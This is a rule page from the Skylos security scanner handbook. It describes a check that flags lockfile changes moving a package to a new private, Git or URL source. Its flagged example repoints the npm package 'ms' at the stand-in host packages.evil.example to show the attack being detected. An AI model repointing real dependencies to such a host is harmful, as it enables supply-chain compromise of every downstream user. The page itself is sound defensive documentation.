Skip to main content

SKY-SCA-SRC004 · Supply chain and agent configuration

Package moved to a source this repository did not use

High

A pull request changes a lockfile so that a package comes from a private registry, Git or a URL that this repository did not use for it. Skylos reports the package and the new source.

Languages
npm, pnpm, Yarn, Bun, uv, Poetry, Pipfile, Cargo, Composer, Bundler and pub lockfiles
Turned on by
skylos . --sca --diff origin/main on a pull request
Quality gate
Full scan: not checked. Diff scan: counted toward the gate limits. Counts toward max_dependency_vulnerabilities, which is 0 by default, so one finding fails --gate. It only runs in diff scans.
Finding type
review
Wrong result? Report itA false positive, a missed case or a confusing message: it goes privately to the founder.

Why it matters

Skylos lists private and Git packages as "not checked" and carries on, because no public advisory database covers them. Without this rule, a pull request could repoint a trusted package at an attacker's server and nothing would notice: the name and version look the same, and the only change is one resolved line that reviewers rarely read.

What Skylos flags

A change: the first version of these files is committed, then the edit below is made without committing, and Skylos reviews it as a diff scan (--diff).

package-lock.json · JSON · changed
{  "name": "shop",  "version": "1.0.0",  "lockfileVersion": 3,  "requires": true,  "packages": {    "": {      "name": "shop",      "version": "1.0.0",      "dependencies": {        "ms": "2.1.3",        "picocolors": "1.1.1"      }    },    "node_modules/ms": {      "version": "2.1.3",Removed:       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",Added:       "resolved": "https://packages.evil.example/ms-2.1.3.tgz",      "integrity": "sha256-9mFuFeUw7VUvnaotPOcZY5R8a8fJjJtk/T5nP9AmIsY="    },    "node_modules/picocolors": {      "version": "1.1.1",      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",      "integrity": "sha256-067bKAeWe36zf9EbA7fjcB5yWvecZQ0IEv9yE/j4gtk="    }  }}

What Skylos leaves alone

A change: the first version of these files is committed, then the edit below is made without committing, and Skylos reviews it as a diff scan (--diff).

package-lock.json · JSON · changed
{  "name": "shop",  "version": "1.0.0",  "lockfileVersion": 3,Removed:   "requires": true,Added:   "requires": false,  "packages": {    "": {      "name": "shop",      "version": "1.0.0",      "dependencies": {        "ms": "2.1.3",        "picocolors": "1.1.1"      }    },    "node_modules/ms": {      "version": "2.1.3",      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",      "integrity": "sha256-9mFuFeUw7VUvnaotPOcZY5R8a8fJjJtk/T5nP9AmIsY="    },    "node_modules/picocolors": {      "version": "1.1.1",      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",      "integrity": "sha256-067bKAeWe36zf9EbA7fjcB5yWvecZQ0IEv9yE/j4gtk="    }  }}

Why Skylos leaves it alone

The lockfile changed, but ms still comes from the public registry.

How Skylos decides

  1. Runs with --sca when the scan has a diff base (--diff or --diff-base). It reads both sides of every changed lockfile as data and never installs anything.
  2. It collects the packages each side lists as not checked because of a private registry, Git or URL source. Local path and workspace packages do not count.
  3. A package is reported when the base branch did not list it as non-public, or when it now comes from a host the base branch did not use for it.
  4. Names are compared across every lockfile on the base branch, so moving a lockfile to another folder is not a new source.
  5. A package matching internal_packages under [tool.skylos.supply_chain] is skipped. In CI that setting is read from the base commit, so a pull request cannot exempt itself.

How to fix it

If you didn't mean to change the source, restore the original resolved URL and reinstall from a clean lockfile. If the package really is yours, list it in internal_packages on the target branch first, in its own pull request.

package-lock.json · JSON · the fix, against the flagged file
{  "name": "shop",  "version": "1.0.0",  "lockfileVersion": 3,  "requires": true,  "packages": {    "": {      "name": "shop",      "version": "1.0.0",      "dependencies": {        "ms": "2.1.3",        "picocolors": "1.1.1"      }    },    "node_modules/ms": {      "version": "2.1.3",Removed:       "resolved": "https://packages.evil.example/ms-2.1.3.tgz",Added:       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",      "integrity": "sha256-9mFuFeUw7VUvnaotPOcZY5R8a8fJjJtk/T5nP9AmIsY="    },    "node_modules/picocolors": {      "version": "1.1.1",      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",      "integrity": "sha256-067bKAeWe36zf9EbA7fjcB5yWvecZQ0IEv9yE/j4gtk="    }  }}

When it can be wrong

  • Adding your own private package for the first time is reported. That is intended: list it in internal_packages on the target branch.
  • A package moved between private indexes in uv.lock, poetry.lock or Pipfile.lock is not reported, because those lockfiles don't give Skylos the host.
  • When the moved package was the only public one, the scan also stops with exit 2: no public package was left to check, so the dependency scan is incomplete. The finding is still reported.

Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.

How to silence it

  • [tool.skylos] ignore = ["SKY-SCA-SRC004"] turns the rule off for the project.

From the Skylos rule handbook, Skylos 5.8.0 (commit 5b880b0). All rules.